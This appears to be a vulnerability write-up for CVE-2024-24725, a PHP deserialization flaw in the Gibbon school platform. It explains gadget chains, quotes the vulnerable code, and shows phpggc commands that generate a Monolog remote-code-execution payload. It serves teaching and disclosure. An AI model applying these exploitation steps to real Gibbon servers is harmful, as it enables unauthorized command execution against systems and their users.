Attacker Value
(1 user assessed)
(1 user assessed)
User Interaction
Privileges Required
Attack Vector


Disclosure Date: March 23, 2024
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access


Gibbon through 26.0.00 allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a POST request to the modules/System%20Admin/import_run.php&type=externalAssessment&step=4 URI.

Add Assessment

Technical Analysis

Th Gibbon web application v26.0.00 has a PHP deserialization vulnerability and I would like to use this particular example as a use case to explain a bit more how to find this type of vulnerabilities and how you can build your own exploit.

In some other articles, I already explained the concept of serialization and why it used in web application design, but let me quickly summarize the theory once more.

Serialization is the process of converting complex data structures, such as objects and their fields, into a format that can be sent and received as a sequential stream of bytes. Serializing data makes it much simpler to write complex data to inter-process memory, a file, or a database or send complex data, for example, over a network, between different components of an application, or in an API call.
The concept of serialization is very often used in application design to exchange data. Data objects get serialized, send and on the receiving end, de-serialized for further processing. Many programming languages offer native support for serialization where some languages serialize objects into binary formats, whereas others use different string formats.

So far, so good, but what is exactly insecure deserialization and why is it so dangerous?

Insecure deserialization is when user-controllable data is deserialized by a web application. This enables an attacker to manipulate serialized objects in order to pass harmful data into the application code. It is even possible to replace a serialized object with an object of an entirely different class. Even worse, objects of any class that is available to the website will be deserialized and instantiated, regardless of which class was expected. For this reason, insecure deserialization is sometimes known as an “object injection” vulnerability.
By doing this, an object of an unexpected class might cause an exception, however, the damage may already be done because many deserialization-based attacks are completed before deserialization is finished. This means that the deserialization process itself can initiate an attack, even if the web application’s own functionality does not directly interact with the malicious object.

Just a quick example of serialized data, so we understand the structure. We will use PHP serialization string format.
Take this object Clock.

$clock->type = "cuckoo";
$clock->isSold = true;

When serialized, this object may look something like below:

O:5:"Clock":2:{s:4:"type":s:6:"cuckoo"; s:6:"isSold":b:1;}

O:5:"Clock": - An object with the 4-character class name "Clock"
2: - the object has 2 attributes
s:4:"type" - The key of the first attribute is the 4-character string "type"
s:6:"cuckoo" - The value of the first attribute is the 6-character string "cuckoo"
s:6:"isSold" - The key of the second attribute is the 6-character string "isSold"
b:1 - The value of the second attribute is the boolean value true

The native methods for PHP serialization are serialize() and unserialize(). So If you have source code access, you should start by looking for unserialize() anywhere in the code to see if there is an opportunity to find and exploit an insecure deserialization vulnerability.

Let’s now have a closer look at the Gibbon web application and try to correlate the above theory with the discovered deserialization vulnerability at the web application.

If you read the description in the CVE published for Gibbon, it mentions a PHP deserialization vulnerability via columnOrder in a POST request to the modules/System%20Admin/import_run.php&type=externalAssessment&step=4.

So let’s have a look at the file import_run.php and check if we can find the unserialize() function that is typically used by PHP. The good thing is that Gibbon is open source so all the source code is available for analysis.

And indeed, there is unserialize() function in the file import_run.php and more important it has user-controllable parameters, such as columnOrder and columnText which makes this a potential candidate for insecure deserialization.

    //STEP 3 & 4, DRY & LIVE RUN  -----------------------------------------------------------------------------------
    elseif ($step==3 || $step==4) {
        // Gather our data
        $mode = $_POST['mode'] ?? null;
        $syncField = $_POST['syncField'] ?? null;
        $syncColumn = $_POST['syncColumn'] ?? null;

        $csvData = $_POST['csvData'] ?? null;
        if ($step==4) {
            //  DESERIALIZATION with user-controllable data !!!
            $columnOrder = isset($_POST['columnOrder'])? unserialize($_POST['columnOrder']) : null;
            $columnText = isset($_POST['columnText'])? unserialize($_POST['columnText']) : null;
        } else {
            $columnOrder = $_POST['columnOrder'] ?? null;
            $columnText = $_POST['columnText'] ?? null;

        $fieldDelimiter = isset($_POST['fieldDelimiter'])? urldecode($_POST['fieldDelimiter']) : null;
        $stringEnclosure = isset($_POST['stringEnclosure'])? urldecode($_POST['stringEnclosure']) : null;

        $ignoreErrors = $_POST['ignoreErrors'] ?? false;

But the big question is still how to put this potential deserialization vulnerability into a working exploit where you can pull off a remote code execution or establish a privileged escalation.

A bit of theory again before we move on…
You have different ways to leverage a deserialization vulnerability by tampering the data, such as the object attributes or modifying data types where you can change the behavior and outcome of application functionality.
Another way, is to use the application functionality that is associated with the deserialized data. An example of this could be an use case where deseralized data is used to upload a personal image file as part of creating a new user. If the attacker can manipulate the filename object during deserialization process, he/she potentially could change the image file to point to a malicious malware file which will then be uploaded in the application.

However, the most common way to leverage a deserialization vulnerability is to make use of the so called Magic Methods and Gadget Chains.
Let’s quickly explain both concepts.

Magic methods are a special subset of methods that you do not have to explicitly invoke. Instead, they are invoked automatically whenever a particular event or scenario occurs. Magic methods are a common feature of object-oriented programming in various languages. They are sometimes indicated by prefixing or surrounding the method name with double-underscores.

Developers can add magic methods to a class in order to predetermine what code should be executed when the corresponding event or scenario occurs. Exactly when and why a magic method is invoked differs from method to method. One of the most common examples in PHP is __construct(), which is invoked whenever an object of the class is instantiated, similar to Python’s __init__. Important in this context, some languages have magic methods that are invoked automatically during the deserialization process. For example, PHP’s unserialize() method looks for and invokes an object’s __wakeup() magic method.
To construct a simple exploit, you typically would look for classes containing deserialization magic methods, and check whether any of them perform dangerous operations on controllable data. You can then pass in a serialized object of this class to use its magic method for an exploit.

Gadget Chains
Classes containing these deserialization magic methods can be used to initiate more complex attacks involving a long series of method invocations, known as a gadget chain. It is important to understand that a gadget chain is not a payload of chained methods constructed by the attacker. All of the code already exists on the web application. The only thing the attacker controls is the data that is passed into the gadget chain. This is typically done using a magic method that is invoked during deserialization, sometimes known as a kick-off gadget.

Now this a lot of information, but how do we apply this in practice?
Manually identifying gadget chains is a pretty complicated process that requires a deep understanding of the web application and you will need source code access in order to do this.

However, to make our life easier, there are pre-built gadget chains that you can try first.
Ambionics has build a library of pre-built gadget chains designed for PHP based web applications, called phpggc.

If installed, you can check which pre-built gadget chains are available.
It will tell you the name of the framework/library, the version of the framework/library for which gadgets are for, the type of exploitation such as RCE, File Write, File Read, Include…, and the vector (kickoff gadget) to trigger the chain after the unserialize (__destruct(), __toString(), offsetGet(), …)

kali@cerberus:~/phpggc$ phpggc -l

Gadget Chains

NAME                                      VERSION                                                 TYPE                   VECTOR         I
Bitrix/RCE1                               17.x.x <= 22.0.300                                      RCE (Function call)    __destruct
CakePHP/RCE1                              ? <= 3.9.6                                              RCE (Command)          __destruct
CakePHP/RCE2                              ? <= 4.2.3                                              RCE (Function call)    __destruct
CodeIgniter4/RCE1                         4.0.2                                                   RCE (Function call)    __destruct
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.0.4+                                    RCE (Function call)    __destruct
CodeIgniter4/RCE3                         -4.1.3+                                                 RCE (Function call)    __destruct
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                              RCE (Function call)    __destruct
CodeIgniter4/RCE5                         -4.1.3+                                                 RCE (Function call)    __destruct
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                       RCE (Function call)    __destruct
Doctrine/FW1                              ?                                                       File write             __toString     *
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                          File write             __destruct     *
Doctrine/RCE1                             1.5.1 <= 2.7.2                                          RCE (PHP code)         __destruct     *
Doctrine/RCE2                             1.11.0 <= 2.3.2                                         RCE (Function call)    __destruct     *
Dompdf/FD1                                1.1.1 <= ?                                              File delete            __destruct     *
Dompdf/FD2                                ? < 1.1.1                                               File delete            __destruct     *
Drupal7/FD1                               7.0 < ?                                                 File delete            __destruct     *
Drupal7/RCE1                              7.0.8 < ?                                               RCE (Function call)    __destruct     *
Drupal9/RCE1                              -8.9.6 <= 9.4.9+                                        RCE (Function call)    __destruct     *
Guzzle/FW1                                4.0.0-rc.2 <= 7.5.0+                                    File write             __destruct
Guzzle/INFO1                              6.0.0 <= 6.3.2                                          phpinfo()              __destruct     *
Guzzle/RCE1                               6.0.0 <= 6.3.2                                          RCE (Function call)    __destruct     *
Horde/RCE1                                <= 5.2.22                                               RCE (PHP code)         __destruct     *
Kohana/FR1                                3.*                                                     File read              __toString     *
Laminas/FD1                               <= 2.11.2                                               File delete            __destruct
Laminas/FW1                               2.8.0 <= 3.0.x-dev                                      File write             __destruct     *
Laravel/RCE1                              5.4.27                                                  RCE (Function call)    __destruct
Laravel/RCE2                              5.4.0 <= 8.6.9+                                         RCE (Function call)    __destruct
Laravel/RCE3                              5.5.0 <= 5.8.35                                         RCE (Function call)    __destruct     *
Laravel/RCE4                              5.4.0 <= 8.6.9+                                         RCE (Function call)    __destruct
Laravel/RCE5                              5.8.30                                                  RCE (PHP code)         __destruct     *
Laravel/RCE6                              5.5.* <= 5.8.35                                         RCE (PHP code)         __destruct     *
Laravel/RCE7                              ? <= 8.16.1                                             RCE (Function call)    __destruct     *
Laravel/RCE8                              7.0.0 <= 8.6.9+                                         RCE (Function call)    __destruct     *
Laravel/RCE9                              5.4.0 <= 9.1.8+                                         RCE (Function call)    __destruct
Laravel/RCE10                             5.6.0 <= 9.1.8+                                         RCE (Function call)    __toString
Laravel/RCE11                             5.4.0 <= 9.1.8+                                         RCE (Function call)    __destruct
Laravel/RCE12                             5.8.35, 7.0.0, 9.3.10                                   RCE (Function call)    __destruct     *
Laravel/RCE13                             5.3.0 <= 9.5.1+                                         RCE (Function call)    __destruct     *
Laravel/RCE14                             5.3.0 <= 9.5.1+                                         RCE (Function call)    __destruct
Laravel/RCE15                             5.5.0 <= v9.5.1+                                        RCE (Function call)    __destruct
Laravel/RCE16                             5.6.0 <= v9.5.1+                                        RCE (Function call)    __destruct
Magento/FW1                               ? <=                                            File write             __destruct     *
Magento/SQLI1                             ? <=                                            SQL injection          __destruct
Magento2/FD1                              *                                                       File delete            __destruct     *
Monolog/FW1                               3.0.0 <= 3.1.0+                                         File write             __destruct     *
Monolog/RCE1                              1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+                         RCE (Function call)    __destruct
Monolog/RCE2                              1.4.1 <= 2.7.0+                                         RCE (Function call)    __destruct
Monolog/RCE3                              1.1.0 <= 1.10.0                                         RCE (Function call)    __destruct
Monolog/RCE4                              ? <= 2.4.4+                                             RCE (Command)          __destruct     *
Monolog/RCE5                              1.25 <= 2.7.0+                                          RCE (Function call)    __destruct
Monolog/RCE6                              1.10.0 <= 2.7.0+                                        RCE (Function call)    __destruct
Monolog/RCE7                              1.10.0 <= 2.7.0+                                        RCE (Function call)    __destruct     *
Monolog/RCE8                              3.0.0 <= 3.1.0+                                         RCE (Function call)    __destruct     *
Monolog/RCE9                              3.0.0 <= 3.1.0+                                         RCE (Function call)    __destruct     *
Phalcon/RCE1                              <= 1.2.2                                                RCE                    __wakeup       *
Phing/FD1                                 2.6.0 <= 3.0.0a3                                        File delete            __destruct
PHPCSFixer/FD1                            <= 2.17.3                                               File delete            __destruct
PHPCSFixer/FD2                            <= 2.17.3                                               File delete            __destruct
PHPExcel/FD1                              1.8.2+                                                  File delete            __destruct
PHPExcel/FD2                              <= 1.8.1                                                File delete            __destruct
PHPExcel/FD3                              1.8.2+                                                  File delete            __destruct
PHPExcel/FD4                              <= 1.8.1                                                File delete            __destruct
PHPSecLib/RCE1                            2.0.0 <= 2.0.34                                         RCE (PHP code)         __destruct     *
Pydio/Guzzle/RCE1                         < 8.2.2                                                 RCE (Function call)    __toString
Slim/RCE1                                 3.8.1                                                   RCE (Function call)    __toString
Smarty/FD1                                ?                                                       File delete            __destruct
Smarty/SSRF1                              ?                                                       SSRF                   __destruct     *
Spiral/RCE1                               2.7.0 <= 2.8.13                                         RCE (Function call)    __destruct
Spiral/RCE2                               -2.8+                                                   RCE (Function call)    __destruct     *
SwiftMailer/FD1                           -5.4.12+, -6.2.1+                                       File delete            __destruct
SwiftMailer/FD2                           5.4.6 <= 5.x-dev                                        File delete            __destruct     *
SwiftMailer/FR1                           6.0.0 <= 6.3.0                                          File read              __toString
SwiftMailer/FW1                           5.1.0 <= 5.4.8                                          File write             __toString
SwiftMailer/FW2                           6.0.0 <= 6.0.1                                          File write             __toString
SwiftMailer/FW3                           5.0.1                                                   File write             __toString
SwiftMailer/FW4                           4.0.0 <= ?                                              File write             __destruct
Symfony/FD1                               v3.2.7 <= v3.4.25 v4.0.0 <= v4.1.11 v4.2.0 <= v4.2.6    File delete            __destruct
Symfony/FW1                               2.5.2                                                   File write             DebugImport    *
Symfony/FW2                               3.4                                                     File write             __destruct
Symfony/RCE1                              v3.1.0 <= v3.4.34                                       RCE (Command)          __destruct     *
Symfony/RCE2                              2.3.42 < 2.6                                            RCE (PHP code)         __destruct     *
Symfony/RCE3                              2.6 <= 2.8.32                                           RCE (PHP code)         __destruct     *
Symfony/RCE4                              3.4.0-34, 4.2.0-11, 4.3.0-7                             RCE (Function call)    __destruct     *
Symfony/RCE5                              5.2.*                                                   RCE (Function call)    __destruct
Symfony/RCE6                              v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13       RCE (Command)          __destruct     *
Symfony/RCE7                              v3.2.0 <= v3.4.34 v4.0.0 <= v4.2.11 v4.3.0 <= v4.3.7    RCE (Function call)    __destruct
Symfony/RCE8                              v3.4.0 <= v4.4.18 v5.0.0 <= v5.2.1                      RCE (Function call)    __destruct
TCPDF/FD1                                 <= 6.3.5                                                File delete            __destruct     *
ThinkPHP/FW1                              5.0.4-5.0.24                                            File write             __destruct     *
ThinkPHP/FW2                              5.0.0-5.0.03                                            File write             __destruct     *
ThinkPHP/RCE1                             5.1.x-5.2.x                                             RCE (Function call)    __destruct     *
ThinkPHP/RCE2                             5.0.24                                                  RCE (Function call)    __destruct     *
ThinkPHP/RCE3                             -6.0.1+                                                 RCE (Function call)    __destruct
ThinkPHP/RCE4                             -6.0.1+                                                 RCE (Function call)    __destruct
Typo3/FD1                                 4.5.35 <= 10.4.1                                        File delete            __destruct     *
vBulletin/RCE1                            -5.6.9+                                                 RCE (Function call)    __destruct
WordPress/Dompdf/RCE1                     0.8.5+ & WP < 5.5.2                                     RCE (Function call)    __destruct     *
WordPress/Dompdf/RCE2                     0.7.0 <= 0.8.4 & WP < 5.5.2                             RCE (Function call)    __destruct     *
WordPress/Guzzle/RCE1                     4.0.0 <= 6.4.1+ & WP < 5.5.2                            RCE (Function call)    __toString     *
WordPress/Guzzle/RCE2                     4.0.0 <= 6.4.1+ & WP < 5.5.2                            RCE (Function call)    __destruct     *
WordPress/P/EmailSubscribers/RCE1         4.0 <= 4.4.7+ & WP < 5.5.2                              RCE (Function call)    __destruct     *
WordPress/P/EverestForms/RCE1             1.0 <= 1.6.7+ & WP < 5.5.2                              RCE (Function call)    __destruct     *
WordPress/P/WooCommerce/RCE1              3.4.0 <= 4.1.0+ & WP < 5.5.2                            RCE (Function call)    __destruct     *
WordPress/P/WooCommerce/RCE2              <= 3.4.0 & WP < 5.5.2                                   RCE (Function call)    __destruct     *
WordPress/P/YetAnotherStarsRating/RCE1    ? <= 1.8.6 & WP < 5.5.2                                 RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE1                   1.8.2+ & WP < 5.5.2                                     RCE (Function call)    __toString     *
WordPress/PHPExcel/RCE2                   <= 1.8.1 & WP < 5.5.2                                   RCE (Function call)    __toString     *
WordPress/PHPExcel/RCE3                   1.8.2+ & WP < 5.5.2                                     RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE4                   <= 1.8.1 & WP < 5.5.2                                   RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE5                   1.8.2+ & WP < 5.5.2                                     RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE6                   <= 1.8.1 & WP < 5.5.2                                   RCE (Function call)    __destruct     *
Yii/RCE1                                  1.1.20                                                  RCE (Function call)    __wakeup       *
Yii/RCE2                                  1.1.20                                                  RCE (Function call)    __destruct
Yii2/RCE1                                 <2.0.38                                                 RCE (Function call)    __destruct     *
Yii2/RCE2                                 <2.0.38                                                 RCE (PHP code)         __destruct     *
ZendFramework/FD1                         ? <= 1.12.20                                            File delete            __destruct
ZendFramework/RCE1                        ? <= 1.12.20                                            RCE (PHP code)         __destruct     *
ZendFramework/RCE2                        1.11.12 <= 1.12.20                                      RCE (Function call)    __toString     *
ZendFramework/RCE3                        2.0.1 <= ?                                              RCE (Function call)    __destruct
ZendFramework/RCE4                        ? <= 1.12.20                                            RCE (PHP code)         __destruct     *
ZendFramework/RCE5                        2.0.0rc2 <= 2.5.3                                       RCE (Function call)    __destruct

Yeah, this definitely helps, but we need to figure out first which gadget chains are supported by our Gibbon web application.
If we look at the directory where Gibbon is installed, typically /var/www or /var/www/html depending on the webroot setting, you will find a directory vendor. Running the ls command will list the framework/libraries that are installed and supported by the web application.

root@cuckoo:/var/www/vendor# ls
aura          ezyang      league        moneyphp  omnipay    phpoffice  setasign
autoload.php  firebase    maennchen     monolog   paragonie  phpseclib  slim
clue          fzaninotto  markbaker     mpdf      parsecsv   psr        symfony
composer      google      matthewbdaly  myclabs   php-http   ralouphie  tecnickcom
eluceo        guzzlehttp  microsoft     nikic     phpmailer  robthree   twig

And indeed you can see that there are frameworks/libraries listed that are part of our gadget chain list, such as monolog and symfony.

Ok, so we have some pre-built gadget chains options that we can try, but we also need to figure if the versions installed are supported.
Let’s explore monolog a bit deeper and check which version is installed.

root@cuckoo:/var/www/vendor/monolog/monolog# cat
### 1.27.1 (2022-06-09)

  * Fixed MandrillHandler support for SwiftMailer 6 (#1676)
  * Fixed StreamHandler chunk size (backport from #1552)

### 1.27.0 (2022-03-13)

  * Added $maxDepth / setMaxDepth to NormalizerFormatter / JsonFormatter to configure the maximum depth if the default of 9 does not work for you (#1633)

Version 1.27.1 is installed, so the next question is which pre-built monolog gadget chains can we use?
There is a nice python script as part of phpggc that does this job for us.

kali@cerberus:~/phpggc$ python ./ monolog/monolog:1.27.1 monolog/fw1 monolog/rce1 monolog/rce2 monolog/rce3 monolog/rce4 monolog/rce5 monolog/rce6 monolog/rce7 monolog/rce8 monolog/rce9 -w 4
Running on PHP version PHP 8.2.12 (cli) (built: Jan  8 2024 02:15:58) (NTS).
Testing 1 versions for monolog/monolog against 10 gadget chains.

┃ monolog/monolog ┃ Package ┃ monolog/fw1 ┃ monolog/rce1 ┃ monolog/rce2 ┃ monolog/rce3 ┃ monolog/rce4 ┃ monolog/rce5 ┃ monolog/rce6 ┃ monolog/rce7 ┃ monolog/rce8 ┃ monolog/rce9 ┃
│ 1.27.1          │   OK    │     KO      │      OK      │      OK      │      KO      │      KO      │      OK      │      OK      │      OK      │      KO      │      KO      │

So we have quite some options that we can test.

To generate the serialized data with the payload for a particular gadget chain, you can run the following command: ./phpggc -f monolog/rce1 system id which generates the gadget chain monolog/rce1 with the payload. In this case, the serialized data gets deserialized and the id command gets executed using the system function call.
It is important, that it does not really matter if the instantiation of this object makes logical sense from an application perspective. We are manipulating the serialized data generated by the web application and pushing it to a supported gadget chain that will generate an object instance and hopefully execute the payload during the deserialization process. The -f option applies the fast-destruct technique, so that the object is destroyed right after the unserialize() call, as opposed to at the end of the script.

kali@cerberus:~/phpggc$ ./phpggc -f monolog/rce1 system id

Important: there are null bytes in the serialized data, for example *socket is \x00*\x00socket and therefore the size is 9 and not 7.
This applies for all the *items.

I have created an exploit that is are published as official module Gibbon Online School Platform Authenticated RCE [CVE-2024-24725] in Metasploit.
If you review the module, you will see most of the above theory and discussions back in the exploit code.


Deserialization flaws are pretty common in web application design.
Here are some simple steps to identify and exploit potential deserialization vulnerabilities in the application code:

  1. get access to the application source code;
  2. search for the language specific serialization and deserialization functions in the code. For PHP, these functions are serialize() and unserialize();
  3. check if user-controlled parameters are part of serialize and deserialize process;
  4. check the availability of pre-built gadget chains that are supported by your web application and can be leveraged; and
  5. last but not least, try and error until the magic happens ;–)

Till next time….


MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Metasploit PR 19044: Gibbon Online School Platform Authenticated RCE [CVE-2024-24725]


Credits go to the security researchers below whom discovered this vulnerability

  • Research Team (Ali Maharramli, Fikrat Guliev, Islam Rzayev )
CVSS V3 Severity and Metrics
Base Score:
Impact Score:
Exploitability Score:
Attack Vector (AV):
Attack Complexity (AC):
Privileges Required (PR):
User Interaction (UI):
Scope (S):
Confidentiality (C):
Integrity (I):
Availability (A):

General Information

Additional Info

Technical Analysis